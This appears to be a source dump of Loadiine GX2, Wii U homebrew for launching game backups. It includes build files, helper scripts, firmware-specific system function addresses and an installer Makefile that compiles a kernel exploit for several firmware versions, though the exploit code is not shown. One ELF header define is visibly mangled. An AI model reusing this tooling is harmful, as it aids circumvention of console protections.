the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
================================================
FILE: Makefile
================================================
#---------------------------------------------------------------------------------
# Clear the implicit built in rules
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITPPC)),)
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
endif
ifeq ($(strip $(DEVKITPRO)),)
$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>devkitPRO")
endif
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
PREFIX := powerpc-eabi-
export AS := $(PREFIX)as
export CC := $(PREFIX)gcc
export CXX := $(PREFIX)g++
export AR := $(PREFIX)ar
export OBJCOPY := $(PREFIX)objcopy
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
#---------------------------------------------------------------------------------
TARGET := loadiine_gx2
BUILD := build
BUILD_DBG := $(TARGET)_dbg
SOURCES := src \
src/common \
src/dynamic_libs \
src/fs \
src/game \
src/gui \
src/kernel \
src/language \
src/loader \
src/menu \
src/network \
src/patcher \
src/resources \
src/settings \
src/sounds \
src/system \
src/utils \
src/video \
src/video/shaders \
src/controller_patcher \
src/controller_patcher/config \
src/controller_patcher/network \
src/controller_patcher/patcher \
src/controller_patcher/utils
DATA := data \
data/images \
data/fonts \
data/sounds
INCLUDES := src
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-O3 -Wall -Wextra -Wno-unused-parameter -D_GNU_SOURCE -Wno-strict-aliasing $(INCLUDE)
ASFLAGS := -mregnames
LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections
#---------------------------------------------------------------------------------
Q := @
MAKEFLAGS += --no-print-directory
#---------------------------------------------------------------------------------
# any extra libraries we wish to link with the project
#---------------------------------------------------------------------------------
LIBS := -lgcc -lgd -lpng -ljpeg -lz -lfreetype -lmad -lvorbisidec
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(CURDIR) \
$(DEVKITPPC)/lib \
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export PROJECTDIR := $(CURDIR)
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
#---------------------------------------------------------------------------------
# automatically build a list of object files for our project
#---------------------------------------------------------------------------------
FILELIST := $(shell bash ./filelist.sh)
GIT_REV := $(shell bash ./gitrev.sh)
LANGUAGES := $(shell bash ./updatelang.sh)
export CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
export CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
export HFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.h)))
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
export LD := $(CC)
else
export LD := $(CXX)
endif
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
$(sFILES:.s=.o) $(SFILES:.S=.o) \
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
#---------------------------------------------------------------------------------
# build a list of include paths
#---------------------------------------------------------------------------------
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
#---------------------------------------------------------------------------------
# build a list of library paths
#---------------------------------------------------------------------------------
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
export OUTPUT := $(CURDIR)/$(TARGET)
.PHONY: $(BUILD) clean install lang
#---------------------------------------------------------------------------------
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
#---------------------------------------------------------------------------------
lang:
@[ -d build ] || mkdir -p build
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile translations
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT).elf: $(OFILES)
#---------------------------------------------------------------------------------
# Translation files
#---------------------------------------------------------------------------------
translations: $(wildcard $(PROJECTDIR)/languages/*.lang)
#---------------------------------------------------------------------------------
# This rule links in binary data with the .jpg extension
#---------------------------------------------------------------------------------
%.elf: link.ld $(OFILES)
@echo "linking ... $(TARGET).elf"
$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS)
$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
#---------------------------------------------------------------------------------
%.a:
#---------------------------------------------------------------------------------
@echo $(notdir $@)
@rm -f $@
@$(AR) -rc $@ $^
#---------------------------------------------------------------------------------
%.o: %.cpp
@echo $(notdir $<)
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.o: %.c
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.o: %.S
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.png.o : %.png
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.jpg.o : %.jpg
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.ttf.o : %.ttf
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.bin.o : %.bin
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.wav.o : %.wav
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.mp3.o : %.mp3
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.ogg.o : %.ogg
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
export PATH := $(PROJECTDIR)/gettext-bin:$(PATH)
%.pot: $(CFILES) $(CPPFILES) $(HFILES)
@echo Updating language files ...
@touch $(PROJECTDIR)/languages/$(TARGET).pot
@xgettext -C -cTRANSLATORS --from-code=utf-8 -F --no-wrap --add-location -ktr -ktrNOOP -o$(PROJECTDIR)/languages/$(TARGET).pot -p $@ $^
%.lang: $(PROJECTDIR)/languages/$(TARGET).pot
@msgmerge -U -N --no-wrap --no-location --backup=none -q $@ $<
@touch $@
#---------------------------------------------------------------------------------
-include $(DEPENDS)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
================================================
FILE: Readme.md
================================================
# Loadiine GX2
[](https://travis-ci.org/dimok789/loadiine_gx2)
---
[Current Stable Release](https://github.com/dimok789/loadiine_gx2/releases/tag/v0.2) | [Nightly builds](https://github.com/dimok789/loadiine_gx2/releases) | [Issue Tracker](https://github.com/dimok789/loadiine_gx2/issues) | [Support Thread](https://gbatemp.net/threads/loadiine-gx2.413823/)
### What is Loadiine GX2? ###
Loadiine is a WiiU homebrew. It launches WiiU game backups from SD card.
Its Graphical User Interface is based on the WiiU GX2 graphics engine.
### How do I use this? ###
All information about how this works and what is required to do for it to work is written on the following [support thread](https://gbatemp.net/threads/loadiine-gx2.413823/).
### How to build? ###
#### Main Application ####
To build the main application devkitPPC is required as well as some additionally libraries. Download the libogc and portlibs packages from the release pages and put them in your devkitPro path. Replace any existing files. If not yet done export the path of devkitPPC and devkitPRO to the evironment variables DEVKITPRO and DEVKITPPC.
All remaining is to enter the main application path and enter "make". You should get a loadiine_gx2.elf and a loadiine_gx2_dbg.elf in the main path.
#### Installer Application ####
To compile the installer application enter the "installer" path on the source code and type "make".
### Credits ###
* Dimok
* Cyan
* Maschell
* n1ghty
* dibas
* The anonymous graphics dude (he knows who is ment)
* and several more contributers
---
================================================
FILE: filelist.sh
================================================
#! /bin/bash
#
# Automatic resource file list generation
# Created by Dimok
outFile="./src/resources/filelist.h"
count_old=$(cat $outFile 2>/dev/null | tr -d '\n\n' | sed 's/[^0-9]*\([0-9]*\).*/\1/')
count=0
if [[ $OSTYPE == darwin* ]];
then
for i in $(gfind ./data/images/ ./data/sounds/ ./data/fonts/ -maxdepth 1 -type f \( ! -printf "%f\n" \) | sort -f)
do
files[count]=$i
count=$((count+1))
done
else
for i in $(find ./data/images/ ./data/sounds/ ./data/fonts/ -maxdepth 1 -type f \( ! -printf "%f\n" \) | sort -f)
do
files[count]=$i
count=$((count+1))
done
fi
if [ "$count_old" != "$count" ] || [ ! -f $outFile ]
then
echo "Generating filelist.h for $count files." >&2
cat <<EOF > $outFile
/****************************************************************************
* Loadiine resource files.
* This file is generated automatically.
* Includes $count files.
*
* NOTE:
* Any manual modification of this file will be overwriten by the generation.
****************************************************************************/
#ifndef _FILELIST_H_
#define _FILELIST_H_
#include <gctypes.h>
typedef struct _RecourceFile
{
const char *filename;
const u8 *DefaultFile;
const u32 &DefaultFileSize;
u8 *CustomFile;
u32 CustomFileSize;
} RecourceFile;
EOF
for i in ${files[@]}
do
filename=${i%.*}
extension=${i##*.}
echo 'extern const u8 '$filename'_'$extension'[];' >> $outFile
echo 'extern const u32 '$filename'_'$extension'_size;' >> $outFile
echo '' >> $outFile
done
echo 'static RecourceFile RecourceList[] =' >> $outFile
echo '{' >> $outFile
for i in ${files[@]}
do
filename=${i%.*}
extension=${i##*.}
echo -e '\t{"'$i'", '$filename'_'$extension', '$filename'_'$extension'_size, NULL, 0},' >> $outFile
done
echo -e '\t{NULL, NULL, 0, NULL, 0}' >> $outFile
echo '};' >> $outFile
echo '' >> $outFile
echo '#endif' >> $outFile
fi
================================================
FILE: gitrev.sh
================================================
#! /bin/bash
#
rev_new=$(git rev-parse --short=7 HEAD)
rev_old=$(cat ./src/gitrev.c 2>/dev/null | tr -d '\n' | awk -F"\"" '{print $2}' | awk -F"\"" '{print $1}')
if [ "$rev_new" != "$rev_old" ] || [ ! -f ./src/gitrev.c ]; then
if [ -n "$rev_new" ]; then
echo "Changed Rev $rev_old to $rev_new" >&2
fi
cat <<EOF > ./src/gitrev.c
#define GIT_REV "$rev_new"
const char *GetRev()
{
return GIT_REV;
}
EOF
rev_date=`date -u +%Y%m%d%H%M%S`
cat <<EOF > ./meta/meta.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<app version="1">
<name>Loadiine GX2</name>
<coder>Dimok, Maschell, n1ghty, dibas</coder>
<version>0.3 r$rev_new</version>
<release_date>$rev_date</release_date>
<short_description>WiiU game loader</short_description>
<long_description>Loads games from SD card.
Compatibility list:
http://wiki.gbatemp.net/wiki/Loadiine_compatibility_list
Sources:
https://github.com/dimok789/loadiine_gx2
</long_description>
</app>
EOF
fi
echo $rev_new
================================================
FILE: installer/Makefile
================================================
PATH := $(DEVKITPPC)/bin:$(PATH)
PREFIX ?= powerpc-eabi-
CC = $(PREFIX)gcc
AS = $(PREFIX)gcc
CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin
ASFLAGS = -mregnames -x assembler-with-cpp
LD = $(PREFIX)ld
LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.3.0 -lgcc
OBJDUMP ?= $(PREFIX)objdump
project := .
root := $(CURDIR)
build := $(root)/bin
sd_loader_elf := ../sd_loader/sd_loader.elf
CFLAGS += -DUSE_SD_LOADER
ASFLAGS += -DUSE_SD_LOADER
all: clean setup main532 main550 main500 main410 main400 main310 main300
sd_loader.h: $(sd_loader_elf)
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@
$(sd_loader_elf):
make -C ../sd_loader
setup:
mkdir -p $(root)/bin/
main550:
make main FIRMWARE=550
main540:
make main FIRMWARE=532
main532:
make main FIRMWARE=532
main500:
make main FIRMWARE=500
main410:
make main FIRMWARE=410
main400:
make main FIRMWARE=400
main310:
make main FIRMWARE=310
main300:
make main FIRMWARE=300
main210:
make main FIRMWARE=210
main200:
make main FIRMWARE=200
main: sd_loader.h
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
cp -r $(root)/*.o $(build)
rm $(root)/*.o
$(LD) -s -o $(build)/code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS)
clean:
rm -rf $(build)
rm -rf sd_loader.h
print_stats:
@echo
@echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312
================================================
FILE: installer/coreinit.h
================================================
#ifndef COREINIT_H
#define COREINIT_H
#include "types.h"
#if (VER==200)
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x010220AC)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01022D98)
#define OSFatal ((void (*)(char* msg))0x01027688)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01025FB4)
#elif (VER==210)
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102232C)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01023018)
#define OSFatal ((void (*)(char* msg))0x01027908)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01026014)
#elif (VER==300) | (VER==310)
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01022CBC)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01023D88)
#define OSFatal ((void (*)(char* msg))0x01028A68)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01027390)
#elif (VER==400) | (VER==410)
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01026e60)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01028460)
#define OSFatal ((void (*)(char* msg))0x0102D01C)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102b9ac)
#elif VER==500
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01029CD8)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B3E4)
#define OSFatal ((void (*)(char* msg))0x01030ECC)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102ECE0)
#elif (VER==532) | (VER==540)
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x102a31c)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x102b790)
#define OSFatal ((void (*)(char* msg))0x1031368)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x102f09c)
#elif VER==550
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)
#define OSFatal ((void (*)(char* msg))0x01031618)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160)
#else
#error "Unsupported Wii U software version"
#endif
/* ioctlv() I/O vector */
struct iovec
{
void *buffer;
int len;
char unknown8[0xc-0x8];
};
typedef struct OSContext
{
/* OSContext identifier */
uint32_t tag1;
uint32_t tag2;
/* GPRs */
uint32_t gpr[32];
/* Special registers */
uint32_t cr;
uint32_t lr;
uint32_t ctr;
uint32_t xer;
/* Initial PC and MSR */
uint32_t srr0;
uint32_t srr1;
} OSContext;
#endif /* COREINIT_H */
================================================
FILE: installer/crt0.S
================================================
.extern __main
.globl _start
_start:
# load proper stack
lis r1, 0x1ab5
ori r1, r1, 0xd138
# jump to our main
bl __main
================================================
FILE: installer/elf_abi.h
================================================
/*
* Copyright (c) 1995, 1996, 2001, 2002
* Erik Theisen. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This is the ELF ABI header file
* formerly known as "elf_abi.h".
*/
#ifndef _ELF_ABI_H
#define _ELF_ABI_H
/*
* This version doesn't work for 64-bit ABIs - Erik.
*/
/*
* These typedefs need to be handled better.
*/
typedef unsigned int Elf32_Addr; /* Unsigned program address */
typedef unsigned int Elf32_Off; /* Unsigned file offset */
typedef signed int Elf32_Sword; /* Signed large integer */
typedef unsigned int Elf32_Word; /* Unsigned large integer */
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
/* e_ident[] identification indexes */
#define EI_MAG0 0 /* file ID */
#define EI_MAG1 1 /* file ID */
#define EI_MAG2 2 /* file ID */
#define EI_MAG3 3 /* file ID */
#define EI_CLASS 4 /* file class */
#define EI_DATA 5 /* data encoding */
#define EI_VERSION 6 /* ELF header version */
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
#define EI_ABIVERSION 8 /* ABI target version */
#define EI_PAD 9 /* start of pad bytes */
#define EI_NIDENT 16 /* Size of e_ident[] */
/* e_ident[] magic number */
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
#define ELFMAG "\177ELF" /* magic */
#define SELFMAG 4 /* size of magic */
/* e_ident[] file class */
#define ELFCLASSNONE 0 /* invalid */
#define ELFCLASsigned int 1 /* 32-bit objs */
#define ELFCLASS64 2 /* 64-bit objs */
#define ELFCLASSNUM 3 /* number of classes */
/* e_ident[] data encoding */
#define ELFDATANONE 0 /* invalid */
#define ELFDATA2LSB 1 /* Little-Endian */
#define ELFDATA2MSB 2 /* Big-Endian */
#define ELFDATANUM 3 /* number of data encode defines */
/* e_ident[] OS/ABI specific ELF extensions */
#define ELFOSABI_NONE 0 /* No extension specified */
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
#define ELFOSABI_NETBSD 2 /* NetBSD */
#define ELFOSABI_LINUX 3 /* Linux */
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
#define ELFOSABI_AIX 7 /* AIX */
#define ELFOSABI_IRIX 8 /* IRIX */
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
/* 64-255 Architecture-specific value range */
/* e_ident[] ABI Version */
#define ELFABIVERSION 0
/* e_ident */
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
/* ELF Header */
typedef struct elfhdr{
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
Elf32_Half e_type; /* object file type */
Elf32_Half e_machine; /* machine */
Elf32_Word e_version; /* object file version */
Elf32_Addr e_entry; /* virtual entry point */
Elf32_Off e_phoff; /* program header table offset */
Elf32_Off e_shoff; /* section header table offset */
Elf32_Word e_flags; /* processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size */
Elf32_Half e_phentsize; /* program header entry size */
Elf32_Half e_phnum; /* number of program header entries */
Elf32_Half e_shentsize; /* section header entry size */
Elf32_Half e_shnum; /* number of section header entries */
Elf32_Half e_shstrndx; /* section header table's "section
header string table" entry offset */
} Elf32_Ehdr;
/* e_type */
#define ET_NONE 0 /* No file type */
#define ET_REL 1 /* relocatable file */
#define ET_EXEC 2 /* executable file */
#define ET_DYN 3 /* shared object file */
#define ET_CORE 4 /* core file */
#define ET_NUM 5 /* number of types */
#define ET_LOOS 0xfe00 /* reserved range for operating */
#define ET_HIOS 0xfeff /* system specific e_type */
#define ET_LOPROC 0xff00 /* reserved range for processor */
#define ET_HIPROC 0xffff /* specific e_type */
/* e_machine */
#define EM_NONE 0 /* No Machine */
#define EM_M32 1 /* AT&T WE 32100 */
#define EM_SPARC 2 /* SPARC */
#define EM_386 3 /* Intel 80386 */
#define EM_68K 4 /* Motorola 68000 */
#define EM_88K 5 /* Motorola 88000 */
#if 0
#define EM_486 6 /* RESERVED - was Intel 80486 */
#endif
#define EM_860 7 /* Intel 80860 */
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
#define EM_S370 9 /* IBM System/370 Processor */
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
#if 0
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
64-bit unoffical */
#endif
/* RESERVED 11-14 for future use */
#define EM_PARISC 15 /* HPPA */
/* RESERVED 16 for future use */
#define EM_VPP500 17 /* Fujitsu VPP500 */
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
#define EM_960 19 /* Intel 80960 */
#define EM_PPC 20 /* PowerPC */
#define EM_PPC64 21 /* 64-bit PowerPC */
#define EM_S390 22 /* IBM System/390 Processor */
